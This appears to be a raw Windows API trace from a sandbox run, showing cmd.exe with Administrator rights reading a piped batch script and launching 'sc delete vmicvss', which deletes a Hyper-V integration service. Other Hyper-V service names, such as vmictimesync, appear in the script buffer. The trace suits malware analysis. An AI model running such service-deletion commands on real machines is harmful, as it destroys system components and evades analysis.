dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e vmictimesync\n\nface\n") returned 1 [0073.485] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.485] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.485] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.485] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" vmictimesync\n\nface\n") returned 1 [0073.485] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.486] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.486] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="vmictimesync\n\nface\n") returned 1 [0073.486] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.486] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.486] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="mictimesync\n\nface\n") returned 1 [0073.486] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.486] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.486] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="ictimesync\n\nface\n") returned 1 [0073.486] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.486] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.486] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.486] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="ctimesync\n\nface\n") returned 1 [0073.486] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.486] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.487] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="vimesync\n\nface\n") returned 1 [0073.487] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.487] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.487] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="smesync\n\nface\n") returned 1 [0073.487] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.487] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.487] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="sesync\n\nface\n") returned 1 [0073.487] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.487] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.487] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0073.487] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="\nsync\n\nface\n") returned 1 [0073.487] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.487] GetFileType (hFile=0xb8) returned 0x3 [0073.487] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.487] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.488] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.488] GetFileType (hFile=0x120) returned 0x3 [0073.488] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.488] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicvss\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicvss\n", lpUsedDefaultChar=0x0) returned 19 [0073.488] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x12, lpOverlapped=0x0) returned 1 [0073.488] GetProcessHeap () returned 0x240000 [0073.488] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x262630 [0073.488] GetProcessHeap () returned 0x240000 [0073.488] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x262630 | out: hHeap=0x240000) returned 1 [0073.488] GetProcessHeap () returned 0x240000 [0073.488] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0073.488] GetProcessHeap () returned 0x240000 [0073.488] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0073.489] GetProcessHeap () returned 0x240000 [0073.489] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x30) returned 0x256510 [0073.489] GetConsoleOutputCP () returned 0x1b5 [0073.490] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0073.490] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.490] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.490] GetProcessHeap () returned 0x240000 [0073.490] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0073.490] GetProcessHeap () returned 0x240000 [0073.491] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x36) returned 0x256550 [0073.491] GetProcessHeap () returned 0x240000 [0073.491] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0073.491] SetErrorMode (uMode=0x0) returned 0x1 [0073.491] SetErrorMode (uMode=0x1) returned 0x0 [0073.491] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0073.491] SetErrorMode (uMode=0x1) returned 0x1 [0073.491] GetProcessHeap () returned 0x240000 [0073.491] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0073.491] GetProcessHeap () returned 0x240000 [0073.491] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0073.491] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.491] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.491] GetProcessHeap () returned 0x240000 [0073.491] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0073.491] GetProcessHeap () returned 0x240000 [0073.491] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0073.491] GetProcessHeap () returned 0x240000 [0073.491] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0073.491] GetProcessHeap () returned 0x240000 [0073.491] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0073.492] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.492] GetProcessHeap () returned 0x240000 [0073.492] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0073.492] GetProcessHeap () returned 0x240000 [0073.492] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0073.492] GetProcessHeap () returned 0x240000 [0073.492] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0073.492] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.492] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.492] GetLastError () returned 0x2 [0073.492] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.492] GetLastError () returned 0x2 [0073.492] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.493] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0073.493] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0073.493] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0073.493] GetLastError () returned 0x2 [0073.493] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0073.493] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0073.493] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0073.493] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0073.493] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.494] GetProcessHeap () returned 0x240000 [0073.494] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0073.494] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.494] GetProcessHeap () returned 0x240000 [0073.494] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x9c) returned 0x259180 [0073.494] GetProcessHeap () returned 0x240000 [0073.494] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x9c [0073.494] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicvss") returned 1 [0073.495] GetProcessHeap () returned 0x240000 [0073.495] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0073.495] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0073.495] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0073.495] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.495] GetProcessHeap () returned 0x240000 [0073.495] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0073.495] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0073.495] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0073.495] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0073.495] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0073.495] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.495] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.495] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0073.495] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0073.496] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0073.497] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0073.497] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0073.497] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0073.497] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.497] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0073.497] GetProcessHeap () returned 0x240000 [0073.497] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0073.497] GetProcessHeap () returned 0x240000 [0073.497] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0073.497] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicvss", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicvss", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete vmicvss", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x924, dwThreadId=0x934)) returned 1 [0073.502] CloseHandle (hObject=0x54) returned 1 [0073.502] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.502] GetProcessHeap () returned 0x240000 [0073.502] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0073.502] GetEnvironmentStringsW () returned 0x25ba90* [0073.502] GetProcessHeap () returned 0x240000 [0073.502] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0073.502] FreeEnvironmentStringsW (penv=0x25ba90) returned 1 [0073.502] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0073.502] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd4000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0073.502] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0073.788] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0073.788] CloseHandle (hObject=0x50) returned 1 [0073.788] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0073.789] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0073.789] GetProcessHeap () returned 0x240000 [0073.789] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0073.789] GetEnvironmentStringsW () returned 0x25ba90* [0073.789] GetProcessHeap () returned 0x240000 [0073.789] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0073.789] FreeEnvironmentStringsW (penv=0x25ba90) returned 1 [0073.789] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.789] GetProcessHeap () returned 0x240000 [0073.789] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0073.789] GetEnvironmentStringsW () returned 0x25ba90* [0073.789] GetProcessHeap () returned 0x240000 [0073.789] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0073.789] FreeEnvironmentStringsW (penv=0x25ba90) returned 1 [0073.789] GetProcessHeap () returned 0x240000 [0073.789] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0073.789] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0073.789] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0073.790] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.790] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0073.790] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.790] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0073.790] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.790] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0073.791] GetConsoleOutputCP () returned 0x1b5 [0073.791] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0073.792] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0073.792] GetProcessHeap () returned 0x240000 [0073.792] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0073.792] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0073.792] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.793] GetFileType (hFile=0x120) returned 0x3 [0073.793] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0073.793] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0073.793] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0073.793] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0073.793] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0073.793] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0073.793] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.793] GetFileType (hFile=0x120) returned 0x3 [0073.793] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.793] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, 